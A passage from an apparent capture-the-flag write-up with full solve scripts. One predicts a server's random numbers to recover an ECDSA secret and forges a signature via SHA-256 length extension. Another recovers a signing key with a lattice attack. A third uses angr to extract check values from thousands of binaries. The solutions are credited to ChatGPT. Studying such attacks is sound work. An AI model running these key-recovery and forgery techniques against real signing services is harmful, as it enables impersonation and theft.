# 4) Now pred is aligned with server RNG AFTER ticket collection.
# Get 2 signatures on same benign msg, predict k via pred.getrandbits(255)
msg_same = b"hello_doggo"
log.info("Requesting 2 signatures on same message to recover secret...")
r1,s1 = sign_msg(io, msg_same); recv_until_option_prompt(io)
k1 = pred.getrandbits(255)
log.info(f"[sig1] r={hex(r1)} s={hex(s1)} k_pred(bitlen)={k1.bit_length()}")
r2,s2 = sign_msg(io, msg_same); recv_until_option_prompt(io)
k2 = pred.getrandbits(255)
log.info(f"[sig2] r={hex(r2)} s={hex(s2)} k_pred(bitlen)={k2.bit_length()}")
secret = recover_secret_from_two_sigs_same_msg(r1,s1,k1, r2,s2,k2)
log.success(f"Recovered secret = {hex(secret)}")
# 5) Get one signature to recover z = sha256(salt||base) mod n
base = b"base_msg_for_lenext"
log.info("Getting one signature to recover z0 (sha256(salt||base) mod n)...")
r0,s0 = sign_msg(io, base); recv_until_option_prompt(io)
k0 = pred.getrandbits(255)
z0 = z_from_sig(r0, s0, k0, secret)
log.info(f"z0(mod n) = {hex(z0)}")
# z0 is digest mod n; digest is 256-bit; candidates: z0 or z0+n (rare)
delta = (1 << 256) - n
candidates = [z0]
if z0 < delta:
candidates.append(z0 + n)
log.warning("Ambiguous digest: trying z0 and z0+n")
extra = b"i_am_the_king_of_the_dog"
orig_len = 64 + len(base)
glue = sha256_padding(orig_len)
prev_len = orig_len + len(glue)
assert prev_len % 64 == 0
for ci, dig_int in enumerate(candidates):
digest0 = dig_int.to_bytes(32, "big")
log.info(f"[LENEXT] trying candidate {ci+1}/{len(candidates)} digest0={digest0.hex()}")
digest_ext = sha256_continue_from_digest(digest0, extra, prev_len)
z_target = int.from_bytes(digest_ext, "big") % n
forged_msg = base + glue + extra
log.info(f"[LENEXT] forged_msg_len={len(forged_msg)} z_target(mod n)={hex(z_target)}")
# Forge ECDSA signature with recovered secret
k_forced = (pyr.getrandbits(256) % (n-1)) + 1
Rpt = k_forced * G
rF = int(Rpt.x) # send raw x (matches challenge)
sF = ((z_target + (rF % n) * secret) * inv_mod(k_forced, n)) % n
log.info(f"[FORGE] r={hex(rF)}")
log.info(f"[FORGE] s={hex(sF)}")
out = verify_msg(io, rF, sF, forged_msg)
log.info(f"[server] {out!r}")
if b"\xf0\x9f\x91\x8d" in out: # 👍
rest = io.recvrepeat(1.0)
if rest:
print(rest.decode(errors="ignore"))
break
io.close()
if __name__ == "__main__":
main()
https://chatgpt.com/share/6946143e-5fcc-8008-b660-e8cea29b7655
Flag
EOF{once_a_wise_dog_said_:hi.but_he_didn’t_know_why:D}
Still Not Random
After giving the result of the script back to GPT a few iteration, got flag.
Final Solve Script
#!/usr/bin/env sage -python
from sage.all import *
import hmac
from hashlib import sha256
from Crypto.Cipher import AES
from sage.modules.free_module_integer import IntegerLattice
# ============================================================
# 0) Problem constants
# ============================================================
msgs = [
b"https://www.youtube.com/watch?v=LaX6EIkk_pQ",
b"https://www.youtube.com/watch?v=wK4wA0aKvg8",
b"https://www.youtube.com/watch?v=iq90nHs3Gbs",
b"https://www.youtube.com/watch?v=zTKADhU__sw",
]
sigs = [
(317707421133410288073354603009480426136391906002873302709570879761947103070512898051132583840618463139472027601216698251294206460344755339051109898589809987983731707077909099505833365567522347006453766545663380230105595126817790425,
25185752159924706126981435669717936861361993674900106138337831137838509453749313533989197233649309651483579988978205),
(417548456675579988606680466439690234874946492911623920447331037240230655879606626325624623314611471522814787475988129078726743347417903386362824681134780863810523742180718053363084828145812067731683272119151061828749117659255650820,
27618563118772187320593702066291845973666620541831283288991142064228070314197536489147588491763843793593821643513457),
(703771273054730080235579285501232710659154148145979519264450072512823561624248636822569827736905476306443746390214567198923437156846958456303186787370323078966806939434118158768394748234214487029382926999880135374613932395712372460,
27052092405825396792237011211691900251888872753276208811631357208317438773416505653305767076226992282260977625878007),
(821717323558426535455119744526279609022144869806906586662554363968363839151910768914318502227461974453838258550953434850776924606792184210954238562503515009237179979646111655773804054528212491391076376250546737439142144165942539844,
28870411728276849847003745583242490365442899058004875752358198407125701328587711166784961247940279464305857022011977),
]
ct = b'iXm\x982\xc5\xf23\x85\x88\x91\x0c\x7f\xdc\x1b,\x1b\x82\x9d\xcd\x00 BWn\xad\n\xc3`\xe7\x8e\xfc`%\x9cQ\x12E\x97\x97\xa5\xd5t\x8b\x87v\xb4\xcf\x8d'
# ============================================================
# 1) NIST P-384 parameters (no fastecdsa)
# ============================================================
p = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF", 16)
a = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC", 16) # -3 mod p
b = int("B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF", 16)
Gx = int("AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7", 16)
Gy = int("3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F", 16)
q = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973", 16)
Fp = GF(p)
E = EllipticCurve(Fp, [a, b])
G = E(Gx, Gy)
assert (q * G).is_zero(), "Generator order mismatch; P-384 params wrong?"
print("[+] Using Sage EllipticCurve P-384 (no fastecdsa)")
print(" p bits =", p.bit_length())
print(" q bits =", q.bit_length())
print(" G order check ok")
# ============================================================
# 2) Helpers
# ============================================================
def hmac_sha256(key: bytes, msg: bytes) -> bytes:
return hmac.new(key, msg, sha256).digest()
def signed_mod(x: int, m: int) -> int:
x %= m
if x > m // 2:
x -= m
return x
def p2i_xy(xi: int, yi: int) -> int:
return xi * p + yi
# ============================================================
# 3) Recompute e_i correctly (rbytes BIG-endian confirmed) & reconstruct R
# ============================================================
Rs, Ss, Es, Rpts = [], [], [], []
for idx, ((r, s), msg) in enumerate(zip(sigs, msgs)):
r = int(r); s = int(s)
x = r // p
y = r % p
R = E(Fp(x), Fp(y))
rbytes = int(r).to_bytes(1337, "big")
e = int.from_bytes(hmac_sha256(rbytes, msg), "big") % q
Rs.append(r); Ss.append(s); Es.append(e); Rpts.append(R)
print(f"\n[+] sig[{idx}]")
print(" r bits =", r.bit_length())
print(" s bits =", s.bit_length())
print(" e bits =", int(e).bit_length())
print(" R on curve =", (R in E))
# ============================================================
# 4) Recover PK and check consistency
# ============================================================
PKs = []
for i in range(4):
e = Integer(Es[i])
s = Integer(Ss[i])
inv_e = inverse_mod(e, q)
PK = (s * G - Rpts[i]) * inv_e
PKs.append(PK)
ok = all(PKs[i] == PKs[0] for i in range(1, 4))
print("\n[+] PK consistent across 4 sigs?", ok)
print(" PK.x =", int(PKs[0][0]))
print(" PK.y =", int(PKs[0][1]))
if not ok:
raise SystemExit("[-] PK mismatch (should not happen if e is correct)")
# ============================================================
# 5) Build HNP/CVP in Z^3 from differences vs sig[0]
# ============================================================
a_signed = []
b_signed = []
a_mod = []
for i in range(1, 4):
a_s = signed_mod(int(Es[i]) - int(Es[0]), q)
b_s = signed_mod(int(Ss[i]) - int(Ss[0]), q)
a_signed.append(a_s)
b_signed.append(b_s)
a_m = (int(Es[i]) - int(Es[0])) % q
a_mod.append(a_m)
print("\n[+] Differences vs sig[0]:")
for i in range(3):
print(f" i={i+1}: a_signed bits~{abs(a_signed[i]).bit_length()} b_signed bits~{abs(b_signed[i]).bit_length()}")
# Lattice Λ = < (q,0,0), (0,q,0), (0,0,q), (a1,a2,a3) >
B = Matrix(ZZ, [
[q, 0, 0],
[0, q, 0],
[0, 0, q],
[a_signed[0], a_signed[1], a_signed[2]],
])
# Reduce to 3x3 basis
H = B.hermite_form()
basis_rows = [row for row in H.rows() if row != vector(ZZ, [0, 0, 0])]
B3 = Matrix(ZZ, basis_rows)
if B3.nrows() != 3 or B3.ncols() != 3:
print("\n[-] Unexpected HNF basis shape:", B3.nrows(), "x", B3.ncols())
print("HNF=\n", H)
raise SystemExit(1)
print("\n[+] HNF basis (3x3):")
print(B3)
Bred = B3.LLL()
print("\n[+] LLL-reduced basis:")
print(Bred)
tgt = vector(ZZ, b_signed)
# ============================================================
# 6) Get one near solution via IntegerLattice.closest_vector (Babai-ish)
# ============================================================
L = IntegerLattice(Bred) # row-basis lattice in Z^3
y0 = L.closest_vector(tgt)
delta0 = tgt - y0
print("\n[+] closest_vector (Babai-ish) y0:")
print(" y0 =", y0)
print(" delta0 =", delta0)
print(" |delta0|_inf =", max(abs(int(delta0[i])) for i in range(3)))
print(" |delta0|_2 =", sqrt(sum(int(delta0[i])**2 for i in range(3))))
# Column basis A = Bred^T so that y = A*z
Acol = Matrix(ZZ, Bred).transpose()
z0 = vector(ZZ, Acol.solve_right(vector(ZZ, y0)))
print("\n[+] z0 such that Acol*z0 = y0:")
print(" z0 =", z0)
# ============================================================
# 7) Full deterministic signature recomputation
# ============================================================
def sign_det(sk_int: int, msg: bytes):
key = sha256(str(sk_int).encode()).digest()
k_raw = key + hmac.new(key, msg, sha256).digest()
k = int.from_bytes(k_raw, "big") % q
R = Integer(k) * G
rx, ry = int(R[0]), int(R[1])
r = p2i_xy(rx, ry)
rbytes = int(r).to_bytes(1337, "big")
e = int.from_bytes(hmac.new(rbytes, msg, sha256).digest(), "big") % q
s = (k + (sk_int * e)) % q
return r, s
def verify_sk_full(sk_int: int) -> bool:
for (r_obs, s_obs), msg in zip(sigs, msgs):
r2, s2 = sign_det(sk_int, msg)
if r2 != int(r_obs) or s2 != int(s_obs):
return False
return True
def sk_from_lattice_vec(yvec: vector):
inv0 = int(inverse_mod(a_mod[0], q))
inv1 = int(inverse_mod(a_mod[1], q))
inv2 = int(inverse_mod(a_mod[2], q))
sk0 = (int(yvec[0]) % q) * inv0 % q
sk1 = (int(yvec[1]) % q) * inv1 % q
sk2 = (int(yvec[2]) % q) * inv2 % q
if sk0 == sk1 == sk2:
return sk0
return None
# ============================================================
# 8) Enumerate neighbors around z0 and verify
# ============================================================
Rcube = 16 # if still fails, try 20 or 24
TryN = 20000
print(f"\n[+] Enumerating z in cube [-{Rcube},{Rcube}]^3 around z0 ...")
cands = []
for dx in range(-Rcube, Rcube + 1):
for dy in range(-Rcube, Rcube + 1):
for dz in range(-Rcube, Rcube + 1):
z = z0 + vector(ZZ, [dx, dy, dz])
y = Acol * z
d = tgt - y
linf = max(abs(int(d[i])) for i in range(3))
l2 = int(d[0])**2 + int(d[1])**2 + int(d[2])**2
cands.append((linf, l2, z, y))
cands.sort(key=lambda t: (t[0], t[1]))
print("[+] Top 10 candidates by (|delta|_inf, |delta|_2^2):")
for i in range(10):
linf, l2, z, y = cands[i]
print(f" {i}: linf={linf} l2={l2} z={z}")
print(f"[+] Trying first {min(TryN,len(cands))} candidates with full signature verification...")
sk = None
for idx, (linf, l2, z, y) in enumerate(cands[:TryN]):
skcand = sk_from_lattice_vec(y)
if skcand is None:
continue
if verify_sk_full(skcand):
sk = skcand
print(f"[+] Found valid sk at rank={idx} linf={linf} l2={l2}")
break
if sk is None:
print("[-] No valid sk found.")
print(" -> increase Rcube (20/24/28) and/or TryN.")
raise SystemExit(3)
print("\n[+] RECOVERED sk =", sk)
print(" sk bits =", int(sk).bit_length())
# ============================================================
# 9) Decrypt flag
# ============================================================
k128 = int(sk) & ((1 << 128) - 1)
key_be = k128.to_bytes(16, "big")
key_le = k128.to_bytes(16, "little")
print("\n[+] AES key candidates:")
print(" key_be =", key_be.hex())
print(" key_le =", key_le.hex())
def try_ctr_decrypt(key: bytes):
for nonce_len in range(0, 16):
nonce = ct[:nonce_len]
body = ct[nonce_len:]
try:
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
pt = cipher.decrypt(body)
except Exception:
continue
if pt.startswith(b"EOF{"):
return nonce_len, pt
return None, None
res_be = try_ctr_decrypt(key_be)
res_le = try_ctr_decrypt(key_le)
print("\n[+] Decryption scan results:")
print(" BE:", res_be[0], res_be[1])
print(" LE:", res_le[0], res_le[1])
if res_be[1] is not None:
print("\n[+] FLAG =", res_be[1].decode(errors="replace"))
elif res_le[1] is not None:
print("\n[+] FLAG =", res_le[1].decode(errors="replace"))
else:
print("\n[-] Failed to find EOF{ with nonce_len 0..15 for either endian key.")
print(" Debug plaintext heads for likely nonce lens:")
for nonce_len in [8, 12, 16]:
if nonce_len <= len(ct):
for name, key in [("BE", key_be), ("LE", key_le)]:
try:
cipher = AES.new(key, AES.MODE_CTR, nonce=ct[:nonce_len])
pt = cipher.decrypt(ct[nonce_len:])
print(f" {name} nonce_len={nonce_len} pt_head={pt[:40]!r}")
except Exception as ex:
print(f" {name} nonce_len={nonce_len} error={ex}")
https://chatgpt.com/share/69462076-2694-8008-938e-0571d07b3ec3
Flag
EOF{just_some_small_bruteforce_after_LLL}
Structured - Large
The problem provides 25137 binarys, all takes the bytes of arg1 and compares to a target value, only the compare part (second to last block) is slightly different, ask GPT to extract the value from all binary of each type, then the output image is a png image with flag on it.
int32_t main(int32_t argc, char** argv, char** envp)
{
int32_t result = 1;
if (argc > 1)
{
char* i = argv[1];
int64_t rdx = 0;
do
{
uint64_t rax = (uint64_t)*(uint8_t*)i;
if (!rax)
break;
i = &i[1];
rdx = rdx << 8 | rax;
} while (i != &i[8]);
result = RORQ(rdx, 2);
}
return result;
}

Final Solve Script
#!/usr/bin/env python3
import os
import sys
import multiprocessing as mp
from typing import Optional, Tuple, List
import angr
# -----------------------------
# main() addr finder
# -----------------------------
def find_main_addr(proj: angr.Project) -> int:
sym = proj.loader.find_symbol("main")
if sym is not None:
return sym.rebased_addr
cfg = proj.analyses.CFGFast(normalize=True, data_references=True)
f = cfg.kb.functions.function(name="main")
if f is not None:
return f.addr
# Fallback: _start -> __libc_start_main, main passed in RDI
start_addr = proj.entry
blk = proj.factory.block(start_addr, size=0x600)
insns = blk.capstone.insns
rdi_val = None
for ins in insns:
mnem = ins.mnemonic
ops = ins.operands
if mnem == "lea" and len(ops) == 2:
try:
if ins.reg_name(ops[0].reg) == "rdi":
s = ins.op_str.replace(" ", "")
if s.startswith("rdi,[rip+"):
disp_hex = s.split("rdi,[rip+")[1].split("]")[0]
disp = int(disp_hex, 16)
rdi_val = ins.address + ins.size + disp
except Exception:
pass
if mnem == "mov" and len(ops) == 2:
try:
if ins.reg_name(ops[0].reg) == "rdi" and ops[1].type == 2: # IMM
rdi_val = ops[1].imm
except Exception:
pass
if mnem == "call" and len(ops) == 1:
tgt = None
try:
if ops[0].type == 2: # IMM
tgt = ops[0].imm
except Exception:
pass
if tgt is None:
continue
stub = proj.loader.find_plt_stub_name(tgt)
if stub and "libc_start_main" in stub:
if rdi_val is None:
raise RuntimeError("Found __libc_start_main call but couldn't recover RDI(main).")
return proj.loader.main_object.addr_to_rebased_addr(rdi_val)
raise RuntimeError("Could not locate main.")
def _norm(s: str) -> str:
return s.replace(" ", "").lower()
# -----------------------------
# 64-bit helpers
# -----------------------------
MASK64 = (1 << 64) - 1
def rol64(x: int, r: int) -> int:
r &= 63
x &= MASK64
if r == 0:
return x
return ((x << r) | (x >> (64 - r))) & MASK64
def ror64(x: int, r: int) -> int:
r &= 63
x &= MASK64
if r == 0:
return x
return ((x >> r) | (x << (64 - r))) & MASK64
def bswap64(x: int) -> int:
x &= MASK64
return int.from_bytes(x.to_bytes(8, "big", signed=False)[::-1], "big", signed=False)
# -----------------------------
# Operand helpers
# -----------------------------
def _is_reg(ins, op_idx: int, regname: str) -> bool:
try:
if len(ins.operands) <= op_idx:
return False
op = ins.operands[op_idx]
if op.type != 1: # REG
return False
return ins.reg_name(op.reg) == regname
except Exception:
return False
def _is_imm(ins, op_idx: int) -> bool:
try:
if len(ins.operands) <= op_idx:
return False
return ins.operands[op_idx].type == 2 # IMM
except Exception:
return False
def _imm_from_mov(ins) -> Optional[int]:
# supports mov/movabs into rax/eax
try:
if len(ins.operands) == 2 and ins.operands[1].type == 2: # IMM
return int(ins.operands[1].imm)
except Exception:
pass
try:
s = _norm(ins.op_str)
if s.startswith("rax,"):
return int(s.split("rax,")[1], 0)
if s.startswith("eax,"):
return int(s.split("eax,")[1], 0)
except Exception:
pass
return None
def _imm_from_cmp_rhs(ins, lhs_reg: str) -> Optional[int]:
# cmp <lhs_reg>, IMM
try:
if len(ins.operands) == 2 and ins.operands[0].type == 1 and ins.operands[1].type == 2:
if ins.reg_name(ins.operands[0].reg) == lhs_reg:
return int(ins.operands[1].imm)
except Exception:
pass
try:
s = _norm(ins.op_str)
if s.startswith(lhs_reg + ","):
return int(s.split(lhs_reg + ",")[1], 0)
except Exception:
pass
return None
def _imm_from_rot(ins) -> Optional[int]:
# ror/rol rdx, imm
try:
if len(ins.operands) == 2 and ins.operands[1].type == 2:
return int(ins.operands[1].imm)
except Exception:
pass
# fallback from text
try:
s = _norm(ins.op_str)
if "," in s:
return int(s.split(",")[1], 0)
except Exception:
pass
return None
# -----------------------------
# Types 1..9 + 11 matchers
# Return: (matched, value, typename)
# NOTE: within a block, choose the LAST match to avoid loop cmp noise.
# -----------------------------
def try_type1(insns):
# mov/movabs rax, imm64 ; cmp rcx, rax ; setne al ; movzx eax, al
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic not in ("mov", "movabs"):
continue
if not (_is_reg(a, 0, "rax") and _is_imm(a, 1)):
continue
imm = _imm_from_mov(a)
if imm is None:
continue
if b.mnemonic != "cmp" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rax")):
continue
if c.mnemonic != "setne" or _norm(c.op_str) != "al":
continue
if d.mnemonic != "movzx" or _norm(d.op_str) != "eax,al":
continue
best = (True, imm & MASK64, "TYPE1")
return best if best is not None else (False, None, "TYPE1")
def try_type2(insns):
# mov/movabs rax, IMM ; ror rdx, k ; cmp rdx, rax ; setne al ; movzx eax, al
# WANT: pre-rotation rdx => pre = rol64(IMM, k)
best = None
for i in range(0, max(0, len(insns) - 4)):
a, b, c, d, e = insns[i:i + 5]
if a.mnemonic not in ("mov", "movabs"):
continue
if not (_is_reg(a, 0, "rax") and _is_imm(a, 1)):
continue
imm = _imm_from_mov(a)
if imm is None:
continue
if b.mnemonic != "ror" or not (_is_reg(b, 0, "rdx") and _is_imm(b, 1)):
continue
k = _imm_from_rot(b)
if k is None:
continue
if c.mnemonic != "cmp" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rax")):
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
if e.mnemonic != "movzx" or _norm(e.op_str) != "eax,al":
continue
pre = rol64(int(imm), int(k))
best = (True, pre, "TYPE2")
return best if best is not None else (False, None, "TYPE2")
def try_type3(insns):
# xor eax,eax ; cmp rcx, IMM ; setne al
best = None
for i in range(0, max(0, len(insns) - 2)):
a, b, c = insns[i:i + 3]
if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
continue
if b.mnemonic != "cmp":
continue
imm = _imm_from_cmp_rhs(b, "rcx")
if imm is None:
continue
if c.mnemonic != "setne" or _norm(c.op_str) != "al":
continue
best = (True, int(imm) & MASK64, "TYPE3")
return best if best is not None else (False, None, "TYPE3")
def try_type4(insns):
# xor eax,eax ; bswap rdx ; cmp rdx, IMM ; setne al
# WANT: pre-bswap rdx => pre = bswap64(IMM)
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
continue
if b.mnemonic != "bswap" or not _is_reg(b, 0, "rdx"):
continue
if c.mnemonic != "cmp":
continue
imm = _imm_from_cmp_rhs(c, "rdx")
if imm is None:
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
pre = bswap64(int(imm))
best = (True, pre, "TYPE4")
return best if best is not None else (False, None, "TYPE4")
def try_type5(insns):
# ror rdx, k ; xor eax,eax ; cmp rdx, IMM ; setne al
# WANT: pre-rotation rdx => pre = rol64(IMM, k)
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic != "ror" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
continue
k = _imm_from_rot(a)
if k is None:
continue
if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
continue
if c.mnemonic != "cmp":
continue
imm = _imm_from_cmp_rhs(c, "rdx")
if imm is None:
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
pre = rol64(int(imm), int(k))
best = (True, pre, "TYPE5")
return best if best is not None else (False, None, "TYPE5")
def try_type6(insns):
# rol rdx, k ; xor eax,eax ; cmp rdx, IMM ; setne al
# WANT: pre-rotation rdx => pre = ror64(IMM, k)
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic != "rol" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
continue
k = _imm_from_rot(a)
if k is None:
continue
if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
continue
if c.mnemonic != "cmp":
continue
imm = _imm_from_cmp_rhs(c, "rdx")
if imm is None:
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
pre = ror64(int(imm), int(k))
best = (True, pre, "TYPE6")
return best if best is not None else (False, None, "TYPE6")
def try_type7(insns):
# xor eax,eax ; test rcx,rcx ; setne al => value 0
best = None
for i in range(0, max(0, len(insns) - 2)):
a, b, c = insns[i:i + 3]
if a.mnemonic != "xor" or _norm(a.op_str) not in ("eax,eax", "rax,rax"):
continue
if b.mnemonic != "test" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rcx")):
continue
if c.mnemonic != "setne" or _norm(c.op_str) != "al":
continue
best = (True, 0, "TYPE7")
return best if best is not None else (False, None, "TYPE7")
def try_type8(insns):
# ror rdx, k ; xor eax,eax ; test rdx,rdx ; setne al
# pass requires rdx==0 after ror => pre is also 0
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic != "ror" or not (_is_reg(a, 0, "rdx") and _is_imm(a, 1)):
continue
if b.mnemonic != "xor" or _norm(b.op_str) not in ("eax,eax", "rax,rax"):
continue
if c.mnemonic != "test" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rdx")):
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
best = (True, 0, "TYPE8")
return best if best is not None else (False, None, "TYPE8")
def try_type9(insns):
# mov eax, IMM ; cmp rcx, rax ; setne al ; movzx eax, al
best = None
for i in range(0, max(0, len(insns) - 3)):
a, b, c, d = insns[i:i + 4]
if a.mnemonic != "mov" or not (_is_reg(a, 0, "eax") and _is_imm(a, 1)):
continue
imm = _imm_from_mov(a)
if imm is None:
continue
if b.mnemonic != "cmp" or not (_is_reg(b, 0, "rcx") and _is_reg(b, 1, "rax")):
continue
if c.mnemonic != "setne" or _norm(c.op_str) != "al":
continue
if d.mnemonic != "movzx" or _norm(d.op_str) != "eax,al":
continue
best = (True, int(imm) & MASK64, "TYPE9")
return best if best is not None else (False, None, "TYPE9")
def try_type11(insns):
# mov eax, IMM ; ror rdx, k ; cmp rdx, rax ; setne al ; movzx eax, al
# WANT: pre-rotation rdx => pre = rol64(IMM, k)
best = None
for i in range(0, max(0, len(insns) - 4)):
a, b, c, d, e = insns[i:i + 5]
if a.mnemonic != "mov" or not (_is_reg(a, 0, "eax") and _is_imm(a, 1)):
continue
imm = _imm_from_mov(a)
if imm is None:
continue
if b.mnemonic != "ror" or not (_is_reg(b, 0, "rdx") and _is_imm(b, 1)):
continue
k = _imm_from_rot(b)
if k is None:
continue
if c.mnemonic != "cmp" or not (_is_reg(c, 0, "rdx") and _is_reg(c, 1, "rax")):
continue
if d.mnemonic != "setne" or _norm(d.op_str) != "al":
continue
if e.mnemonic != "movzx" or _norm(e.op_str) != "eax,al":
continue
pre = rol64(int(imm), int(k))
best = (True, pre, "TYPE11")
return best if best is not None else (False, None, "TYPE11")
MATCHERS = [
try_type1,
try_type2,
try_type3,
try_type4,
try_type5,
try_type6,
try_type7,
try_type8,
try_type9,
try_type11,
]
# -----------------------------
# Extract second-to-last block
# -----------------------------
def extract_second_to_last_block_insns(binpath: str):
proj = angr.Project(binpath, auto_load_libs=False)
main_addr = find_main_addr(proj)
cfg = proj.analyses.CFGFast(normalize=True, data_references=True)
f = cfg.kb.functions.get(main_addr, None) or proj.kb.functions.function(addr=main_addr)
blocks = sorted(list(f.blocks), key=lambda b: b.addr)
if len(blocks) < 2:
return main_addr, None, []
b = blocks[-2]
return main_addr, b.addr, b.capstone.insns
def format_block(insns) -> str:
return "\n".join(f"{ins.address:016x} {ins.mnemonic:<7} {ins.op_str}" for ins in insns)
def pick_value_from_insns(insns) -> Tuple[bool, Optional[int], str]:
for fn in MATCHERS:
ok, val, tname = fn(insns)
if ok:
return True, int(val) & MASK64, tname
return False, None, "MISMATCH"
# -----------------------------
# Cache I/O
# -----------------------------
def load_cache(path: str, total: int) -> Tuple[List[Optional[int]], List[str]]:
vals: List[Optional[int]] = [None] * total
types: List[str] = ["?"] * total
if not os.path.exists(path):
return vals, types
with open(path, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("\t")
if len(parts) < 3:
continue
try:
idx = int(parts[0])
except Exception:
continue
if not (0 <= idx < total):
continue
tname = parts[1]
vstr = parts[2]
types[idx] = tname
if tname == "MISMATCH" or vstr == "-":
vals[idx] = None
continue
try:
vals[idx] = int(vstr, 0) & MASK64
except Exception:
vals[idx] = None
types[idx] = "MISMATCH"
return vals, types
def save_cache(path: str, values: List[Optional[int]], types: List[str]) -> None:
tmp = path + ".tmp"
with open(tmp, "w", encoding="utf-8") as f:
for i, v in enumerate(values):
t = types[i] if i < len(types) else "?"
if v is None:
f.write(f"{i}\tMISMATCH\t-\n")
else:
f.write(f"{i}\t{t}\t{hex(int(v) & MASK64)}\n")
os.replace(tmp, path)
# -----------------------------
# Worker
# -----------------------------
def worker(args):
i, binpath = args
try:
_, _, insns = extract_second_to_last_block_insns(binpath)
ok, val, tname = pick_value_from_insns(insns)
if not ok:
return (i, None, "MISMATCH", None)
return (i, val, tname, None)
except Exception as e:
return (i, None, "MISMATCH", str(e))
# -----------------------------
# Main
# -----------------------------
def main():
# Always loop through 0..25135 then append 0x82 at the end (special edge case).
TOTAL_MAIN = 25136 # indices 0..25135
BIN_DIR = "./bin"
JOBS = max(1, os.cpu_count() or 1)
CACHE_PATH = "out.cache.tsv"
OUT_BIN = "out.bin"
MISMATCH_TXT = "mismatch.txt"
if len(sys.argv) >= 2:
BIN_DIR = sys.argv[1]
if len(sys.argv) >= 3:
TOTAL_MAIN = int(sys.argv[2]) # should be 25136
if len(sys.argv) >= 4:
JOBS = int(sys.argv[3])
# Load cache for 0..TOTAL_MAIN-1
values, types = load_cache(CACHE_PATH, TOTAL_MAIN)
tasks = []
for i in range(TOTAL_MAIN):
if values[i] is None:
tasks.append((i, os.path.join(BIN_DIR, f"large-flag_{i}")))
try:
mp.set_start_method("fork", force=True)
except Exception:
pass
done = 0
if tasks:
with mp.Pool(processes=JOBS, maxtasksperchild=10) as pool:
for i, val, tname, err in pool.imap_unordered(worker, tasks, chunksize=8):
done += 1
values[i] = val
types[i] = tname
if done % 800 == 0 or done == len(tasks):
print(f"[progress] computed {done}/{len(tasks)} missing entries", file=sys.stderr)
# mismatches among 0..TOTAL_MAIN-1
mismatch = []
for i in range(TOTAL_MAIN):
if values[i] is None:
mismatch.append((i, os.path.join(BIN_DIR, f"large-flag_{i}")))
with open(MISMATCH_TXT, "w", encoding="utf-8") as f:
for idx, path in mismatch:
f.write(f"{idx}\t{path}\n")
# Save cache
save_cache(CACHE_PATH, values, types)
# Write bytes: for 0..TOTAL_MAIN-1, 8 bytes each big-endian
# If mismatch, still write 8 zero bytes to keep alignment.
# Then append ONE extra byte 0x82 at the end (special edge case).
with open(OUT_BIN, "wb") as fb:
for i in range(TOTAL_MAIN):
v = values[i]
if v is None:
fb.write(b"\x00" * 8)
else:
fb.write(int(v & MASK64).to_bytes(8, "big", signed=False))
fb.write(bytes([0x82]))
print(f"[+] wrote cache: {CACHE_PATH}", file=sys.stderr)
print(f"[+] wrote bytes: {OUT_BIN} (8 bytes * {TOTAL_MAIN} + final 0x82)", file=sys.stderr)
print(f"[+] mismatch(all types) = {len(mismatch)}/{TOTAL_MAIN}", file=sys.stderr)
print(f"[+] wrote mismatch list: {MISMATCH_TXT}", file=sys.stderr)
# If any mismatch, print their second-to-last blocks at the end
if mismatch:
MAX_PRINT = 200
print("\n===== ALL-MISMATCH second-to-last blocks =====")
print(f"(showing {min(len(mismatch), MAX_PRINT)} / {len(mismatch)})\n")
for idx, path in mismatch[:MAX_PRINT]:
try:
_, blk_addr, insns = extract_second_to_last_block_insns(path)
print(f"--- idx={idx} file={path} block={hex(blk_addr) if blk_addr else 'None'} ---")
print(format_block(insns))
print()
except Exception as e:
print(f"--- idx={idx} file={path} ---")
print(f"(failed to re-extract block: {e})\n")
if __name__ == "__main__":
main()
python3 solve.py ./bin 25136 16
https://chatgpt.com/share/69463a24-1dbc-8008-8fb0-9e9e75d6a28a
EOF{w31l_d0N3_b0t}
Structured - Small
Solved by 山羊
逆向完十個執行檔,他們都是一部分的 flag checker,大多邏輯是字串比對,因此直接從檔案題去字串,有些會做字串反轉、ROR 等,也做相應處理。
import glob
